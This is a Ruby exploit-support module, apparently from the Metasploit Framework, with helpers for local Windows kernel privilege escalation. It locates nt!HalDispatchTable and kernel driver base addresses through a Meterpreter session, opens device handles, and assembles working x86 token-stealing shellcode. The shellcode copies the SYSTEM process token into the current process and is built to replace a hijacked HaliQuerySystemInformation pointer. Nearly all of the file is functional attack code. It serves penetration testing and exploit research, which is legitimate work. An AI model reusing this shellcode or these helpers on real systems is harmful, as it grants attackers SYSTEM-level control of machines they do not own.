# -*- coding: binary -*-

module Msf
module Exploit::Local::WindowsKernel
  include Msf::PostMixin
  include Msf::Post::Windows::Error

  #
  # Find the address of nt!HalDispatchTable.
  #
  # @return [Integer] The address of nt!HalDispatchTable.
  # @return [nil] If the address could not be found.
  #
  def find_haldispatchtable
    kernel_address, kernel_name = find_sys_base(nil)
    if kernel_address.nil? || kernel_name.nil?
      print_error("Failed to find the address of the Windows kernel")
      return nil
    end
    vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")

    h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
    if h_kernel['return'] == 0
      print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
      return nil
    end
    h_kernel = h_kernel['return']

    hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
    if hal_dispatch_table['return'] == 0
      print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
      return nil
    end
    hal_dispatch_table = hal_dispatch_table['return']

    hal_dispatch_table -= h_kernel
    hal_dispatch_table += kernel_address
    vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
    hal_dispatch_table
  end

  #
  # Find the load address for a device driver on the session.
  #
  # @param drvname [String, nil] The name of the module to find, otherwise the kernel
  #   if this value is nil.
  # @return [Array] An array containing the base address and the located drivers name.
  # @return [nil] If the name specified could not be found.
  #
  def find_sys_base(drvname)
    if session.railgun.util.pointer_size == 8
      ptr = 'Q<'
    else
      ptr = 'V'
    end

    results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
    unless results['return']
      print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
      return nil
    end
    results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
    unless results['return']
      print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
      return nil
    end
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      if results['return'] == 0
        print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
        return nil
      end
      current_drvname = results['lpBaseName'][0,results['return']]
      if drvname.nil?
        if current_drvname.downcase.include?('krnl')
          return address, current_drvname
        end
      elsif drvname == current_drvname
        return address, current_drvname
      end
    end
  end

  #
  # Open a device on a meterpreter session with a call to CreateFileA and return
  # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
  # are specified as nil.
  #
  # @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
  # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
  # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
  # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
  # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
  # @return [Integer] The device handle.
  # @return [nil] If the call to CreateFileA failed.
  #
  def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
    handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
    if handle['return'] == INVALID_HANDLE_VALUE
      print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
      return nil
    end
    handle['return']
  end

  #
  # Generate token stealing shellcode suitable for use when overwriting the
  # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
  # registers.
  #
  # @param target [Hash] The target information containing the offsets to _KPROCESS,
  #   _TOKEN, _UPID and _APLINKS.
  # @param backup_token [Integer] An optional location to write a copy of the
  #   original token to so it can be restored later.
  # @param arch [String] The architecture to return shellcode for. If this is nil,
  #   the arch will be guessed from the target and then module information.
  # @param append_ret [Boolean] Append a ret instruction for use when being called
  #   in place of HaliQuerySystemInformation.
  # @return [String] The token stealing shellcode.
  # @raise [ArgumentError] If the arch is incompatible.
  #
  def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
    arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
    if arch.nil? && module_info['Arch']
      arch = module_info['Arch']
      arch = arch[0] if arch.is_a?(Array) and arch.length == 1
    end
    if arch.nil?
      print_error('Can not determine the target architecture')
      fail ArgumentError, 'Invalid arch'
    end

    tokenstealing = ''
    case arch
    when ARCH_X86
      tokenstealing << "\x52"                                                        # push edx                         # Save edx on the stack
      tokenstealing << "\x53"                                                        # push ebx                         # Save ebx on the stack
      tokenstealing << "\x33\xc0"                                                    # xor eax, eax                     # eax = 0
      tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                                # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
      tokenstealing << "\x8b\x40" + target['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
      tokenstealing << "\x8b\xc8"                                                    # mov ecx, eax
      tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
      unless backup_token.nil?
        tokenstealing << "\x89\x1d" + [backup_token].pack('V')                       # mov dword ptr ds:backup_token, ebx   # Optionaly write a copy of the token to the address provided
      end
      tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
      tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"              # sub eax, 88h                       | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
      tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
      tokenstealing << "\x75\xe8"                                                    # jne 0000101e ======================|
      tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov edx, dword ptr [eax+0C8h]    # Retrieves TOKEN and stores on EDX
      tokenstealing << "\x8b\xc1"                                                    # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
      tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
      tokenstealing << "\x5b"                                                        # pop ebx                          # Restores ebx
      tokenstealing << "\x5a"                                                        # pop edx                          # Restores edx
      if append_ret
        tokenstealing << "\xc2\x10"                                                  # ret 10h                          # Away from the kernel!
      end
    else
      # if this is reached the issue most likely exists in the exploit module
      print_error('Unsupported arch for token stealing shellcode')
      fail ArgumentError, 'Invalid arch'
    end
    tokenstealing
  end
end
end
